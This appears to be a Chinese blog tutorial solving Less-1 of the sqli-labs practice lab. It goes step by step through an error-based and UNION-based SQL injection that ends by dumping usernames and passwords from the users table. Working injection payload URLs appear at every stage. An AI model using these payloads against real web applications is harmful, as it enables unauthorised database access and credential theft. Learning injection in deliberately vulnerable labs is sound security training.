我是靠谱客的博主 俊秀抽屉,最近开发中收集的这篇文章主要介绍sqli_labs第一关,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

小萌新入坑,从sqli-labs开始搞起

Less-1

提示:测试时要使用英文模式下字符!!!!!!要仔细查看是否字符有误导致无法返回信息!!!!!

0x0  信息分析

搭建好环境后来到Less-1的页面查看页面提示信息并分析

此时可以看到给出的提示信息

Please input the ID as parameter with numeric value

翻译

请输入ID作为参数跟着数值

 

0x1 根据提示进行测试

根据页面中提示的信息在URL中输入?ID=1进行首次尝试

测试:?ID=1

发现页面没有变化,假设参数名不对,后台没有正常接收,使用小写’?id=1’进行尝试

测试:?id=1

发现页面有显示数据,说明参数正确

假设sql

select * from table where id = 1

 

0x2  注入点判断

介于我刚学习没多久,对于注入点的判断知道不是很多,因此使用一些简单的方法进行判断;

使用单引号 ‘ 进行判断,返回报错信息

报错 ''1'' LIMIT 0,1’

此报错中的首尾单引号为了标明报错内容,因此去掉首尾单引号进行分析 '1'' LIMIT 0,1

将错误信息与假设的sql语句进行拼接

正常语句 select * from table where id = 1

报错语句 select * from table where id =  '1'' LIMIT 0,1

此时判断报错原因为id的数据类型为字符型,使用 ?id=1’ or id=‘1 进行验证

测试:?id=1’ or id=‘1

假设sql

select * from table where id =‘ 1’ or id=‘1 ‘ limit 0,1

返回数值,说明查询类型为字符型且存在注入点

 

0x3 注释查询语句

select * from table where id =‘ 1 ‘ limit 0,1

这是一条正常的sql语句,但我们需要的是查询数据库其他内容,因此先办法注释掉多余部分

通过--进行测试

测试:  ?id=1’ --

假设sql:

select * from table where id =‘ 1’ --  ‘ limit 0,1

由于游览器识别空格的问题,我这里改为了 ?id=1’ -- - 此时显示正常说明已经成功注释

 

0x4 字段数量判断

在mysql中使用order by 数值,根据数值所对应的列进行排序,当对应的列不存在时会报错,因此可以使用order by判断当前表有多少字段,从而进行下一步信息获取

假设sql:

select * from table where id =‘ 1’ order by 2 -- - ‘ limit 0,1

测试:?id=1’ order by 2 -- -

返回正常,继续假设,一直测试到字段的总数量

由此判断当前查询数据表的字段数量为3

 

0x5 查看数据页面显示情况

为了得知后续我们查询的数据会显示在页面那一部分,我们要来测试下页面显示情况,

可以使用我们拟定的数据进行显示

要给一个不存在的id,这样才能让查询结果为我们自拟的数据,我这边使用id=33测试

已知当前表字段数量为3,在使用union查询时需要保证后查询字段与当前表字段数量相同

假设sql:

select * from table where id =‘ 33’

union

select 111,222,333                                    --这里直接查询数值可以当做查询结果

 -- - ‘ limit 0,1

测试:?id=33’ union select 111,222,333 -- -

这里可以获悉字段2,字段3的内容

 

0x6 查询版本

select version()可以获取数据库版本信息

假设sql:

select * from table where id =‘ 33’

union

select 111, 222, version()

 -- - ‘ limit 0,1

测试:?id=33’ union select 111,222, version()-- -

版本为5.5.53

 

0x7 查询数据库

科普时间:

在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息.

其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名).

在schemata表中,schema_name字段用来存储数据库名.

在tables表中,table_schema和table_name分别用来存储数据库名和表名.

在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)

group_concat()函数可以将查询的一列结果存放在一起

假设sql:

select * from table where id =‘ 33’

union

select 111, 222,group_concat(schema_name) from information_schema.schemata

 -- - ‘ limit 0,1

测试:

?id=33’union select 111,222,group_concat(schema_name) from

information_schema.schemata  -- -

查询到了所有的数据库

这里也可以更改下sql语句

假设sql:

select * from table where id =‘ 33’

union select 111, 222,schema_name from information_schema.schemata limit 0,1

 -- - ‘ limit 0,1

假设sql:

select * from table where id =‘ 33’

union select 111, 222,schema_name from information_schema.schemata limit 1,2

 -- - ‘ limit 0,1

通过limit依次来获取数据库名称,这里就不在演示了

 

0x8 查询sercurity库内表信息

假设sql:

select * from table where id =‘ 33’

union

select 111, 222,group_concat(table_name) from information_schema.tables

where table_schema = ‘security’  -- - ‘ limit 0,1

测试:

?id=33’union select 111,222,group_concat(table_name) from

information_schema.tables where table_schema = ‘security’  -- -

获取到security数据库的表

 

0x9 查询users表内字段信息

假设sql:

select * from table where id =‘ 33’

union

select 111, 222,group_concat(column_name) from information_schema.columns

where table_schema = ‘security’ and table_name = ‘ users’ -- - ‘ limit 0,1

测试:

?id=33’union select 111,222,group_concat(column_name) from

information_schema.columns where table_schema = ‘security’

and table_name = ‘ users’  -- -

 

0x10 查询usert表内数据信息

假设sql:

select * from table where id =‘ 33’

union

select 111, group_concat(username),group_concat(password) from security.users

-- - ‘ limit 0,1

测试:

?id=33’ union select 111, group_concat(username),group_concat(password) from

security.users  -- -

就是这样 喵~

最后

以上就是俊秀抽屉为你收集整理的sqli_labs第一关的全部内容,希望文章能够帮你解决sqli_labs第一关所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(39)

评论列表共有 0 条评论

立即
投稿
返回
顶部